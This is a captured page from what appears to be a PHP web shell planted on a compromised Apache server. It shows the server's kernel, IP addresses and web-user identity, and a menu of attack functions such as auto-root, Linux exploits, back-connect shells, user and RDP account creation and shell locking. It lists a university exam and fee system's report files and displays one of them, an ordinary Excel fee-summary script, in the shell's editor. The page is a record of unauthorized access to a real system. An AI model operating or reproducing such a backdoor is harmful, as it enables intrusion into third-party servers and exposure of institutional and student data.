Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 3.15.237.229
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
oasis /
Report_details_old /
[ HOME SHELL ]
Name
Size
Permission
Action
output
[ DIR ]
drwxr-sr-x
DownloadExamAppFormApplication...
8.96
KB
-rwxr-xr-x
DownloadRvRtAckApplications.ph...
5.48
KB
-rwxr-xr-x
ExcelWriterXML.php
16.8
KB
-rwxr-xr-x
ExcelWriterXML_Sheet.php
16.26
KB
-rwxr-xr-x
ExcelWriterXML_Style.php
24.5
KB
-rwxr-xr-x
PrintApplicationFormAdmPOSTOFF...
13.15
KB
-rwxr-xr-x
PrintChallanEntryDetails.php
8.63
KB
-rwxr-xr-x
RVApplicationsReport.php
8.42
KB
-rwxr-xr-x
RvRtApplicationReport.php
9.11
KB
-rwxr-xr-x
ack_application.php
4.96
KB
-rwxr-xr-x
ack_exam_app_form_bulk.php
12
KB
-rwxr-xr-x
ack_rv_rt_report.php
10.35
KB
-rwxr-xr-x
admChallanEntryDetails.php
7.26
KB
-rwxr-xr-x
adm_comb_details.php
6.41
KB
-rwxr-xr-x
admregisterlist.php
15.35
KB
-rwxr-xr-x
admreportlist.php
15.35
KB
-rwxr-xr-x
answer_book_statistics.php
7.08
KB
-rwxr-xr-x
appear_list_center_qp_wise.php
7.53
KB
-rwxr-xr-x
appear_list_qp_wise.php
5.82
KB
-rwxr-xr-x
appfeedetails.php
9
KB
-rwxr-xr-x
appfeedetails_pdf.php
7.78
KB
-rwxr-xr-x
appfeedetailspdf.php
7.89
KB
-rwxr-xr-x
approval_report.php
18.34
KB
-rwxr-xr-x
approval_report_wait.php
11.88
KB
-rwxr-xr-x
basic_data_coll.php
7
KB
-rwxr-xr-x
basic_data_sum.php
7.2
KB
-rwxr-xr-x
batch_wise_details.php
4.63
KB
-rwxr-xr-x
bundle_ despatch_ statement.ph...
5.92
KB
-rwxr-xr-x
bundle_ack.php
10.22
KB
-rwxr-xr-x
bundle_ack_wait.php
8.64
KB
-rwxr-xr-x
bundleno_despatch_statement.ph...
11.82
KB
-rwxr-xr-x
bundleno_dispatch_datewise.php
11.59
KB
-rwxr-xr-x
cManualMailer.php
1.5
KB
-rwxr-xr-x
cappcontext.php
2.71
KB
-rwxr-xr-x
cconfig.php
1.18
KB
-rwxr-xr-x
cntDeclaration.php
14.2
KB
-rwxr-xr-x
cntrtagcollstud.php
4.95
KB
-rwxr-xr-x
code39.php
6.56
KB
-rwxr-xr-x
college_degree_details.php
4.74
KB
-rwxr-xr-x
college_pending_markslist.php
6.89
KB
-rwxr-xr-x
collegedet.php
4.9
KB
-rwxr-xr-x
examAppChallan.php
12.57
KB
-rwxr-xr-x
examAppChallanReport.php
8.82
KB
-rwxr-xr-x
exam_attendance_det.php
7.94
KB
-rwxr-xr-x
exam_attendance_summary.php
9.44
KB
-rwxr-xr-x
fee_report_catwise.php
13.49
KB
-rwxr-xr-x
fee_summary.php
13.54
KB
-rwxr-xr-x
fee_summary_oldformat.php
7.67
KB
-rwxr-xr-x
fee_summary_report.php
35.26
KB
-rwxr-xr-x
generatePostAdmissionTicket.ph...
28.14
KB
-rwxr-xr-x
getnumword.php
7.79
KB
-rwxr-xr-x
hallticketcomm.php
30.32
KB
-rwxr-xr-x
htcollsum.php
6.49
KB
-rwxr-xr-x
htstatus.php
7.03
KB
-rwxr-xr-x
htsum.php
3.71
KB
-rwxr-xr-x
iaemptyformat.php
7.46
KB
-rwxr-xr-x
index.php
4.64
KB
-rwxr-xr-x
marls_subjectwise.php
10.49
KB
-rwxr-xr-x
photo_report.php
4.9
KB
-rwxr-xr-x
photo_report_old.php
4.63
KB
-rwxr-xr-x
practical_marks_details.php
12.43
KB
-rwxr-xr-x
practical_marks_report.php
5.74
KB
-rwxr-xr-x
qp_issue.php
8.01
KB
-rwxr-xr-x
qpindent.php
5.19
KB
-rwxr-xr-x
re_cronjob_sendsms_dud.php
4.96
KB
-rwxr-xr-x
reconciliation.php
9.67
KB
-rwxr-xr-x
reg_stud_list.php
8.63
KB
-rwxr-xr-x
report_ack_registration.php
6.63
KB
-rwxr-xr-x
report_adm_combination.php
10.51
KB
-rwxr-xr-x
report_adm_summary.php
8.74
KB
-rwxr-xr-x
report_admission_details.php
27.47
KB
-rwxr-xr-x
report_admission_list.php
17.53
KB
-rwxr-xr-x
report_admission_list_wop.php
10.58
KB
-rwxr-xr-x
report_admission_listnehu.php
25.35
KB
-rwxr-xr-x
report_admission_ticket.php
28.37
KB
-rwxr-xr-x
report_answer_book_issued.php
8.62
KB
-rwxr-xr-x
report_attendance_sheet.php
13.11
KB
-rwxr-xr-x
report_attendance_shortage.php
9.52
KB
-rwxr-xr-x
report_attendance_summary.php
7.42
KB
-rwxr-xr-x
report_bacth_preparation_dairy...
7.34
KB
-rwxr-xr-x
report_batch_practical_dairy.p...
15.78
KB
-rwxr-xr-x
report_batch_wise_details.php
8.18
KB
-rwxr-xr-x
report_batch_worksheet_details...
11.52
KB
-rwxr-xr-x
report_bulk_applications.php
26.25
KB
-rwxr-xr-x
report_bundle_dispatch.php
11.92
KB
-rwxr-xr-x
report_candidate_list.php
29.82
KB
-rwxr-xr-x
report_candidate_list_backup.p...
30.35
KB
-rwxr-xr-x
report_daliy_report.php
11.14
KB
-rwxr-xr-x
report_daliy_report_qp.php
10.67
KB
-rwxr-xr-x
report_data_sent.php
8.71
KB
-rwxr-xr-x
report_degree_list.php
4.88
KB
-rwxr-xr-x
report_deviation_report.php
7.96
KB
-rwxr-xr-x
report_evaluation_report.php
9.6
KB
-rwxr-xr-x
report_iamarks_pending.php
8.4
KB
-rwxr-xr-x
report_marks_deviation_report....
5.58
KB
-rwxr-xr-x
report_marks_elementwise.php
4.46
KB
-rwxr-xr-x
report_marks_elementwisenew.ph...
4.8
KB
-rwxr-xr-x
report_marks_entry_student_lis...
5.72
KB
-rwxr-xr-x
report_marks_entry_subwise_lis...
18.76
KB
-rwxr-xr-x
report_marks_pending.php
12.33
KB
-rwxr-xr-x
report_online_eam.php
11.99
KB
-rwxr-xr-x
report_pr_pending.php
7.65
KB
-rwxr-xr-x
report_practical_marks_details...
13.83
KB
-rwxr-xr-x
report_practical_marks_details...
14.51
KB
-rwxr-xr-x
report_practical_misc.php
8.61
KB
-rwxr-xr-x
report_qpcount_univ.php
6.08
KB
-rwxr-xr-x
report_ra_exl_report.php
5.77
KB
-rwxr-xr-x
report_ra_invigilator_dairy.ph...
22.52
KB
-rwxr-xr-x
report_ra_invigilators_dairy.p...
15.55
KB
-rwxr-xr-x
report_ra_qp_wise_student_coun...
8.62
KB
-rwxr-xr-x
report_ra_roomwise_register_no...
10.91
KB
-rwxr-xr-x
report_revaluation.php
6.58
KB
-rwxr-xr-x
report_sectionwiselist.php
4.73
KB
-rwxr-xr-x
report_subject_admcl_list.php
3.57
KB
-rwxr-xr-x
report_subject_general_list.ph...
4.76
KB
-rwxr-xr-x
reportexamcntrdet.php
5.46
KB
-rwxr-xr-x
resport_attendance_studentwise...
6.14
KB
-rwxr-xr-x
results_pdf.php
19.91
KB
-rwxr-xr-x
resultsheet.php
9.39
KB
-rwxr-xr-x
revaluation.php
15.97
KB
-rwxr-xr-x
roomallotmantecelsheet.php
5.58
KB
-rwxr-xr-x
roomallotmantsummary.php
4.81
KB
-rwxr-xr-x
roomwise_register_nos_list.php
19.13
KB
-rwxr-xr-x
rotation.php
634
B
-rwxr-xr-x
shortageReport.php
11.85
KB
-rwxr-xr-x
stringspliter.php
731
B
-rwxr-xr-x
student.php
5.48
KB
-rwxr-xr-x
student_count.php
4.16
KB
-rwxr-xr-x
subiapending.php
8.14
KB
-rwxr-xr-x
subject_wise_student_list.php
6.38
KB
-rwxr-xr-x
subjectwise_invigilator_dairy....
10.71
KB
-rwxr-xr-x
tatkal.php
4.93
KB
-rwxr-xr-x
teacher_report.php
10.19
KB
-rwxr-xr-x
teacher_val_report.php
10.31
KB
-rwxr-xr-x
teacherreport.php
6.2
KB
-rwxr-xr-x
testbarcode.php
20.58
KB
-rwxr-xr-x
topsheet.php
8.62
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : fee_summary.php
<?php function Generatefeesummary($aobj_context) { session_start(); $collcode = $_SESSION['collcode']; ini_set('memory_limit','300M'); ini_set('max_execution_time',3300); $main_src_obj=(explode("/",$_SERVER["REQUEST_URI"])); $main_src = $main_src_obj[1]; $pdf_writer_class = $aobj_context->main_src."/Excel_Writer/Writer.php"; $Workbook = $aobj_context->main_src."/Excel_Writer/Workbook.php"; $PEAR = $aobj_context->main_src."/Excel_Writer/PEAR.php"; //var_dump($aobj_context->main_src);die(); //$root_pdf_file_download = $aobj_context->main_src."/Report_details/output/report_me_student_list.pdf"; require_once($pdf_writer_class); require_once($Workbook); require_once($PEAR); ini_set('memory_limit','300M'); ini_set('max_execution_time',3300); $filename = 'Fee_Summary'; $xls =& new Spreadsheet_Excel_Writer(""); $xls->setVersion(8); // Add a worksheet to the file, returning an object to add data to $sheet =& $xls->addWorksheet('Binary Count'); $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); $f = fopen('php://output', 'w'); $degree_from = trim($aobj_context->mobj_data["degree_from"]); $degree_to = trim($aobj_context->mobj_data["degree_to"]); $coll_from = trim($aobj_context->mobj_data["coll_from"]); $coll_to = trim($aobj_context->mobj_data["coll_to"]); $date_from = trim($aobj_context->mobj_data["date_from"]); $date_to = trim($aobj_context->mobj_data["date_to"]); $reporttype = trim($aobj_context->mobj_data["reporttype"]); $report = trim($aobj_context->mobj_data["report"]); $collegewise = trim($aobj_context->mobj_data["collegewise"]); $degreewsie = trim($aobj_context->mobj_data["degreewsie"]); $format_a = array('bordercolor' => 'Black', 'left' => 0, 'bottom' => 0, 'right' =>0, 'top' => 0, 'bold'=>'1', 'size' => '14', 'color'=>'Black', 'align' => 'center'); if($collegewise == '1') { $order = "fcollcode,fdegree"; $degree = "cs.fdegree"; $name = "Degree"; } if($degreewsie == '1') { $order = "fdegree,fcollcode"; $degree = "concat(cs.fdegree,' - ',FDESCPN) as fdegree"; $name = 'College'; } if($report == 'Categorywise Summary') { $title1 = array('Sl. No.',"$name",'CAT-I','GM','IIA','IIB','IIIA','IIIB','SC','ST'); $w = array('30','60','50','50','50','50','50','50','50','50'); $a = array('a','b','c','d','e','f','g','h','i','j','k','l'); $l = 'j'; } else if($report == 'Genderwise Summary') { $title1 = array('Sl. No.',"$name",'M','F'); $w = array('30','60','60','60'); $a = array('a','b','c','d','e','f','g','h','i','j','k','l'); $l = 'd'; } else if($report == 'Payment Typewise Report') { $title1 = array('Sl. No.',"$name",'Post Office','Bank','Net Banking'); $w = array('30','60','60','60','60'); $a = array('a','b','c','d','e','f','g','h','i','j','k','l'); $l = 'e'; } else { $title1 = array('Sl. No.',"$name",'I Semester','II Semester','III Semester','IV Semester','V Semester','VI Semester','VII Semester','VIII Semester'); $w = array('30','60','100','100','100','100','100','100','100','100'); $a = array('a','b','c','d','e','f','g','h','i','j','k','l'); $l = 'j'; } if($reporttype == 'examapplication') { if($report == "Categorywise Summary") { $query = "select concat(cs.fcollcode,' - ',c.fcollname) as fcollcode ,{$degree}, sum(case when ifnull(cs.FCATEGORY,'') = '{$title1[2]}' then cs.ftotalfee else 0 end) as '{$title1[2]}', sum(case when cs.FCATEGORY ='{$title1[3]}' then cs.ftotalfee else 0 end) {$title1[3]}, sum(case when cs.FCATEGORY ='{$title1[4]}' then cs.ftotalfee else 0 end) {$title1[4]}, sum(case when cs.FCATEGORY ='{$title1[5]}' then cs.ftotalfee else 0 end) {$title1[5]}, sum(case when cs.FCATEGORY ='{$title1[6]}' then cs.ftotalfee else 0 end) {$title1[6]}, sum(case when cs.FCATEGORY ='{$title1[7]}' then cs.ftotalfee else 0 end) {$title1[7]}, sum(case when cs.FCATEGORY ='{$title1[8]}' then cs.ftotalfee else 0 end) {$title1[8]}, sum(case when cs.FCATEGORY ='{$title1[9]}' then cs.ftotalfee else 0 end) {$title1[9]} from appcandsum cs,college c,degree d where cs.fcollcode = c.fcollcode and ifnull(FRECPTDATE,'') <> '' and d.fdegree = cs.fdegree and cs.fexamno = d.fexamno and ifnull(FTOTALFEE,'') <> '' and fpaymentstatus = 'success' group by cs.fcollcode,cs.fdegree order by {$order}"; } else if($report == "Genderwise Summary") { $query = "select concat(cs.fcollcode,' - ',c.fcollname) as fcollcode ,{$degree}, sum(case when ifnull(s.FSEX,'') = '{$title1[2]}' then cs.ftotalfee else 0 end) as '{$title1[2]}', sum(case when ifnull(s.FSEX,'') ='{$title1[3]}' then cs.ftotalfee else 0 end) {$title1[3]} from appcandsum cs,college c,student s,degree d where cs.fcollcode = c.fcollcode and s.fdegree = cs.fdegree and s.fcollcode = cs.fcollcode and s.fregno = cs.fregno and ifnull(FRECPTDATE,'') <> '' and d.fdegree = cs.fdegree and cs.fexamno = d.fexamno and ifnull(FTOTALFEE,'') <> '' and fpaymentstatus = 'success' group by cs.fcollcode,cs.fdegree order by {$order}"; } else if($report == "Payment Typewise Report") { $query = "select concat(cs.fcollcode,' - ',c.fcollname) as fcollcode ,{$degree}, sum(case when ifnull(cs.FPAYMENTYPE,'') = 'POSTOFFICE' then cs.ftotalfee else 0 end) as '{$title1[2]}', sum(case when ifnull(cs.FPAYMENTYPE,'') ='DEBIT/CREDIT/NET BANKING' then cs.ftotalfee else 0 end) '{$title1[3]}', sum(case when ifnull(cs.FPAYMENTYPE,'') ='BANK' then cs.ftotalfee else 0 end) '{$title1[4]}' from appcandsum cs,college c,degree d where cs.fcollcode = c.fcollcode and ifnull(FRECPTDATE,'') <> '' and d.fdegree = cs.fdegree and cs.fexamno = d.fexamno and ifnull(FTOTALFEE,'') <> '' and fpaymentstatus = 'success' group by cs.fcollcode,cs.fdegree order by {$order}"; } else { $query = "select concat(cs.fcollcode,'-',college.fcollname,',',ftown) as fcollcode,{$degree}, sum(FEXAMFEEA) as '{$title1[2]}',sum(FEXAMFEEB) as '{$title1[3]}',sum(FEXAMFEEC) as '{$title1[4]}', sum(FEXAMFEED) as '{$title1[5]}',sum(FEXAMFEEE) as '{$title1[6]}',sum(FEXAMFEEF) as '{$title1[7]}', sum(FEXAMFEEG) as '{$title1[8]}', sum(FEXAMFEEH) as '{$title1[9]}' FROM appcandsum cs,college,degree d where ifnull(FRECPTDATE,'') <> '' and ifnull(FTOTALFEE,'') <> '' and college.fcollcode = cs.fcollcode and d.fdegree = cs.fdegree and cs.fexamno = d.fexamno and fpaymentstatus = 'success' group by fcollcode,fdegree order by {$order}"; } }else if($reporttype == 'revaluation') { $query = "select rs.fcollcode,rs.fdegree,rs.fexamno as fexamno,sum(rs.famount) as famount,s.FCASTE,FCORRTYPE from res_stud rs inner join student s on s.fdegree = rs.fdegree and s.fregno = rs.fregno and s.fcollcode = rs.fcollcode where FPAYMENTSTATUS = 'success' and ifnull(fackdate,'') <> '' group by fdegree,fcollcode,fexamno,FCORRTYPE"; }else if($reporttype == 'revaluation') { $query = "select concat(candsum.fcollcode,'-',college.fcollname,',',ftown) as fcollcode,{$degree},sum(FEXAMFEEA) as 1sem,sum(FEXAMFEEB) as 2sem,sum(FEXAMFEEC) as 3sem, sum(FEXAMFEED) as 4sem,sum(FEXAMFEEE) as 5sem,sum(FEXAMFEEF) as 6sem,sum(FEXAMFEEG) as 7sem, sum(FEXAMFEEH) as 8sem FROM candsum,college,degree d where ifnull(FRECPTDATE,'') <> '' and ifnull(FTOTALFEE,'') <>'' and college.fcollcode = candsum.fcollcode and d.fdegree = candsum.fdegree and candsum.fexamno = d.fexamno group by fcollcode,fdegree order by {$order}"; } //var_dump($query);die(); $lobj_get_data = $aobj_context->mobj_db->GetAll($query); $arrW =0; $subjRow =''; $format_a = array('bordercolor' => 'black', 'left' => 1, 'bottom' => 1, 'right' => 1, 'top' => 1, 'bold'=>'1', 'size' => '12', 'color'=>'black', 'align' => 'center'); $format =& $xls->addFormat($format_a); if(!empty($lobj_get_data)) { $query1 = "select funivname from control"; $result = $aobj_context->mobj_db->GetRow($query1); $sheet->write(0,0, $result['funivname'],$format); $sheet->mergeCells(0,0,0,count($w)); $sheet->write(1,0,$report,$format); $sheet->mergeCells(1,0,1,count($w)); $sheet->write(2,0,'Date Range : '.$date_from.' - '.$date_to,$format); $sheet->mergeCells(2,0,2,count($w)); $sheet->write(3,0,'College Range : '.$coll_from.' - '.$coll_to,$format); $sheet->mergeCells(3,0,3,count($w)); $sheet->write(4,0,'Degree Range : '.$degree_from.' - '.$degree_to,$format); $sheet->mergeCells(4,0,4,count($w)); $format_a = array('bordercolor' => 'black', 'left' => 1, 'bottom' => 1, 'right' => 1, 'top' => 1, 'bold'=>'1', 'size' => '11', 'color'=>'black', 'align' => 'center'); $format =& $xls->addFormat($format_a); for($i = 0;$i<count($w);$i++) { $sheet->writeString(5,$i, $title1[$i],$format); } $sheet->writeString(5,$i, "Total",$format); $e_data.="</tr>"; $filename = 'Fee_Summary'; $counter_degree = 1; $collcodeold = ''; $collcodenew = ''; $degcodenew = ''; $degcodeold = ''; $j = 6; $n = 1; $k = 6; foreach($lobj_get_data as $key=>$value) { $format_a = array('bordercolor' => 'black', 'left' => 1, 'bottom' => 1, 'right' => 1, 'top' => 1, 'bold'=>'0', 'size' => '10', 'italic'=>'1', 'text_v_align'=>'50', 'height' => '50', 'color'=>'black', 'align' => 'center'); $format =& $xls->addFormat($format_a); $z = count($w)-1; for($i = 2;$i<count($w);$i++) { if($collegewise == '1') { $format_a = array('bordercolor' => 'black', 'left' => 1, 'bottom' => 1, 'right' => 1, 'top' => 1, 'bold'=>'1', 'size' => '10', 'italic'=>'1', 'text_v_align'=>'50', 'height' => '50', 'color'=>'black', 'align' => 'Left', 'underline'=> '1'); $format =& $xls->addFormat($format_a); $collcodenew = $value['fcollcode']; if($collcodenew != $collcodeold) { $fcollcode = wordwrap($value['fcollcode'], 500, '\n', false); $sheet->write($j,1, $fcollcode,$format); $sheet->mergeCells($j,1,$j,9); $collcodeold = $collcodenew; $j++; $n = 1; } } if($degreewsie == '1') { $format_a = array('bordercolor' => 'black', 'left' => 1, 'bottom' => 1, 'right' => 1, 'top' => 1, 'bold'=>'1', 'size' => '10', 'text_v_align'=>'50', 'height' => '50', 'color'=>'black', 'align' => 'Left', 'underline'=> '1'); $format =& $xls->addFormat($format_a); $degcodenew = $value['fdegree']; if($degcodenew != $degcodeold) { $fdegree = wordwrap($value['fdegree'], 500, '\n', false); $sheet->write($j,1, $fdegree,$format); $sheet->mergeCells($j,1,$j,9); $degcodeold = $degcodenew; $j++; $n = 1; } } $format_a = array('bordercolor' => 'black', 'left' => 1, 'bottom' => 1, 'right' => 1, 'top' => 1, 'bold'=>'0', 'size' => '10', 'text_v_align'=>'50', 'height' => '50', 'color'=>'black', 'align' => 'left'); $format =& $xls->addFormat($format_a); $sheet->write($j,0, $n,$format); if($degreewsie == '1') $sheet->write($j,1, $value['fcollcode'],$format); if($collegewise == '1') $sheet->write($j,1, $value['fdegree'],$format); $format_a = array('bordercolor' => 'black', 'left' => 1, 'bottom' => 1, 'right' => 1, 'top' => 1, 'bold'=>'0', 'size' => '10', 'text_v_align'=>'50', 'height' => '50', 'color'=>'black', 'align' => 'right'); $format =& $xls->addFormat($format_a); $sheet->write($j,$i, $value[$title1[$i]],$format); } $z = $j; $j++; $n++; $format_a = array('bordercolor' => 'black', 'left' => 1, 'bottom' => 1, 'right' => 1, 'top' => 1, 'bold'=>'1', 'size' => '10', 'color'=>'black', 'align' => 'right'); $format =& $xls->addFormat($format_a); $sheet->write($z,count($w),"=sum(c$j:$l$j)",$format); $k++; $counter_degree++; } $k = $k+1; $format_a = array('bordercolor' => 'black', 'left' => 1, 'bottom' => 1, 'right' => 1, 'top' => 1, 'bold'=>'1', 'size' => '10', 'color'=>'black', 'align' => 'right'); $format =& $xls->addFormat($format_a); $sheet->write($j,0,"Total",$format); $sheet->mergeCells($j,0,$j,1); for($i = 2;$i<count($w)+1;$i++) { $sheet->write($j,$i,"=sum($a[$i]4:$a[$i]$j)",$format); } } else { $arr['html'] = '<p> No record found </p>'; } header("Content-Type:application/xls"); header("Content-Disposition: attachment; filename={$filename}.xls"); echo $sheet; echo $sheet; // Finish the spreadsheet, dumping it to the browser $xls->close(); } ?>
Close